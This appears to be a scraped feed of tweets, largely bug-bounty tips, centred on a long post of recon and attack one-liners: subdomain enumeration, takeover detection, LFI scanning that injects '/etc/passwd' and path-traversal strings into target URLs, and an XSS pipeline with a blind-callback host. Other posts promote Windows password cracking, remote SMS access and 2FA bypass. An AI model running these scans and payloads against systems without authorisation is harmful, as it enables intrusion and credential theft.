Abdulrahman Elfawy

Work Smart Not Hard

[Abdulrahman Elfawy @AbdoReda_0]

My number is banned from whatsapp business because I created an advertising campaign and a large number of people entered me in chats so kindly reactivate it

No Request review available In app

My banned number : [phone]

Emergency Unban whatsapp number
@WhatsApp

[Abdulrahman Elfawy @AbdoReda_0]

#Its_On_Summit
#YLY
#شباب_بكرة

[Abdulrahman Elfawy @AbdoReda_0]

يجدعاااان انا عايز اناااام

[Abdulrahman Elfawy @AbdoReda_0]

بيقولوا ان اليوتيوب انتهى والتلفزيون هو اللي شغال الكلام ده صح

[X @TheMsterDoctor1]

# **Awesome Advanced Bug Bounty One-Liners**

**For elite recon, subdomain enumeration, LFI, and takeovers. Optimized for speed, signal, and stealth.**

---

## **One-Line Recon Using `pd` Tools**
```bash
subfinder -d https://t.co/uswJhBLJXF -all | anew subs.txt \
&& shuffledns -d https://t.co/uswJhBLJXF -r resolvers.txt -w n0kovo_subdomains_huge.txt | anew subs.txt \
&& dnsx -l subs.txt -r resolvers.txt -silent | anew resolved.txt \
&& naabu -l resolved.txt -nmap -rate 5000 | anew ports.txt \
&& httpx -l ports.txt -silent | anew alive.txt \
&& katana -list alive.txt -kf all -jc | anew urls.txt \
&& nuclei -l urls.txt -es info,unknown -ept ssl -ss template-spray | anew nuclei.txt
```

---

## **Subdomain Enumeration**

### **Juicy Subdomains**
```bash
subfinder -d https://t.co/axAPlulNpQ -silent | dnsx -silent | cut -d ' ' -f1 \
| grep --color=auto -Ei 'api|dev|stg|test|admin|demo|stage|pre|vpn'
```

### **Online Intelligence Sources**

- **https://t.co/jAGHHZtWeE**
```bash
curl -s https://t.co/tq8S4NWLHp | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u
```

- **https://t.co/LpbyKxszay**
```bash
curl -s "https://t.co/OE0qR90HDg" \
| grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **RedHunt Labs**
```bash
curl -s --url 'https://t.co/CytBwhOmEC' \
-H 'X-BLOBR-KEY: API_KEY' | jq -r '.subdomains[]'
```

- **Nmap NSE**
```bash
nmap --script hostmap-crtsh.nse https://t.co/axAPlulNpQ
```

- **CertSpotter**
```bash
curl -s "https://t.co/pUUT7Y6oLN" \
| jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **Wayback Machine**
```bash
curl -s "https://t.co/MQOIqfjZVI" \
| sed -e 's_https*://__' -e "s/\/.*//" | sort -u
```

- **JLDC**
```bash
curl -s "https://t.co/InurYe65wh" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **https://t.co/3SNVM49m71**
```bash
curl -s "https://t.co/CRvLJfSWd2" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```

- **ThreatMiner**
```bash
curl -s "https://t.co/Vl4K1jpfb7" | jq -r '.results[]' \
| grep -o "\w.*https://t.co/axAPlulNpQ" | sort -u
```

- **ThreatCrowd**
```bash
curl -s "https://t.co/2QueBdr500" | jq -r '.subdomains[]?' | sort -u
```

- **HackerTarget**
```bash
curl -s "https://t.co/PjInwgSS18"
```

- **AlienVault**
```bash
curl -s "https://t.co/xka18lSPBi" \
| grep -o '"hostname": *"[^"]*' | sed 's/"hostname": "//' | sort -u
```

- **Censys (CLI must be installed and auth configured)**
```bash
censys subdomains https://t.co/axAPlulNpQ
```

---

## **Subdomain Takeover Detection**
```bash
cat subs.txt | xargs -P50 -I% bash -c 'dig % | grep CNAME' \
| awk '{print $1}' | sed 's/\.$//g' \
| httpx -silent -status-code -cdn -csp-probe -tls-probe
```

---

## **LFI Payload Scanning**

### **Using `gf`, `httpx`, and `/etc/passwd` filter**
```bash
cat targets.txt | gau | gf lfi | httpx -paths lfi_wordlist.txt -threads 100 \
-random-agent -x GET,POST -tech-detect -status-code -follow-redirects \
-mc 200 -mr "root:[x*]:0:0:"
```

### **With `qsreplace` for fast payload injection**
```bash
cat targets.txt | gau | gf lfi | qsreplace "/etc/passwd" \
| xargs -I% -P25 sh -c 'curl -s "%" | grep -q "root:x" && echo "[+] VULN: %"'
```

### **Raw Curl LFI Bypass with Path Traversal**
```bash
cat targets.txt | while read host; do \
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" \
| grep "root:*" && echo -e "\n$host \033[0;31mVULNERABLE"; done

**✅The best one liner XSS **

`subfinder -dL domainlist1.txt | dnsx | shuf | (gau | | hakrawler) | anew | egrep -iv "\.(jpg|jpeg|gif|tif|tiff|png|ttf|woff|woff2|php|ico|pdf|svg|txt|js)$" | urless | nilo | dalfox pipe -b https://xss.hunter/?q=1`

## Shodan Cli
```
shodan search https://t.co/KfCB0DKXd9:"https://t.co/axAPlulNpQ" --fields ip_str | anew ips.txt
```

#bugbountytips #bugbounty #hackerone

[أخبار السعودية @SaudiNews50]

عاجل:

رسميًا..

أكثر من 4000000 مليون معتمر ومصلٍ في المسجد الحرام ليلة 29 رمضان.

-

[Anonymous @B_D3aTH]

Another critical:) very fast
Tip:
1-Always read js files manually i used all the tools available on the internet to extract the secrets they failed:) i read the file line by line
2-use chatgpt to construct all http request in the js file or use jsluice++ extension for burp

[Khalid 🅙 @REMIX_KSA]

برنامج AdGuard قاهر الإعلانات و من أفضل البرامج الي شفتها في حياتي لحظر الإعلانات بشكل مو طبيعي !

صراحة ما ندمت إني دفعت على هذا البرنامج و دايماً استخدمه إذا فتحت متصفح الجوال سفاري عشان الإعلانات و تقدر تستخدمه على اللاب لأني مشترك نسخة Family يشتغل على 9 أجهزة !

البرنامج تحصلوه بالمتجر سواء آيفون أو آندرويد أو PC

https://t.co/7Ql0l6qjWC

و بالنسبة للإشتراك أخذته من هنا نسخة Family مدى الحياة بـ 39.99$ ⬇️

https://t.co/kGH00qjni1

[Vishal Kumar @vishal__kvs]

I have been rewarded $200 on @Bugcrowd collaborated with @starkcharry bro 💪🏻

Tip: sub enum > web archive parameters > kxss filter reflecting params > manual xss try and hit

#bugbounty #bugbountytips #bugcrowd

[Gospel @4osp3l]

Built ./Phone: A Mobile Phone Forensic Framework

Feature:
- Dump Call Logs
- Dump SMS
- Dump Photos / Videos / Documents
- Extract information from documents I.e emails, passwords, phone numbers e.t.c

@RedHatPentester

[abdellah kouba @koubaabdellah]

The $50,000 Mistake — A Read/Write Profile IDOR Story by shxsu1 https://t.co/SB9psVkleW
#BugBounty #bugbountytips

[Kanhaiya Sharma @krishnsec]

/backup.tar.gz

[Abdulrahman Elfawy @AbdoReda_0]

@saqibarif98 Any write up

[Rahul @sairahul1]

Pinterest + ChatGPT = $239/Day

No experience, no tech skills.

Just a laptop and 20 min per day.

Here's how to earn your first dollar online today ↓

[May Dhafer ◡̈ @alraigah]

كسر باسورد الويندوز بنظام الإنقاذ Win-PE May🔐

🔑النظام ملئ ببرامج فك باسورد النظام + كشف باسوردات الشبكة وأضفت معه بعض البرامج الأساسية
🔑ميزته يكون النظام معك دائم محمول بفلاشك
⭕ولكن أنا أبرئ ذمتي من أي إستخدام سئ
⚠️♻️تقدر تنقذ ملفاتك لو نظامك تعطل او تلف بسحب ملفاتك بسهولة
أحرق النظام على فلاش USB أو هارد خارجي بأي برنامج تبي مثل Rufus

فيديو تشرح مبسط :
https://t.co/Oqmcd2Hnss
المنتج
https://t.co/YGyaBZ9OFc

#UFCSaudiArabia #الاتحاد_الخلود #ولي__العهد #Unlock_password

[TheSecMaster @TheSecMaster1]

Access Phone's SMS Remotely

[UCYBERS @UCybersX]

الدليل النهائي لتجاوز المصادقة الثنائية 2FA على جميع المواقع والمنصات | 2025 张️

مهم لمحترفين الأمن السيبراني والأختراق

[N$🌟 @__nav1n_]

Wayback > hidden subdomain > Fuzz > Intruder > P1 🔥

Found a hidden subdomain https://t.co/iTDtEnMf2C in Wayback Machine dated back to 2019. Got 301 to the homepage in browser. While fuzzing, I found an interesting empty directory: `bin`. Used Burp Intruder and found a directory traversal bug. 💥 #BugBounty

[nader abdi @AtaTurk1925]

JS files are important, but without understanding the web app architecture, they’re not enough. Instead of just hunting javascript, focus on the architecture.

I’m not a hunter, just a suggestion!
#bugbountytips #bugbountytip

@p__oria 😏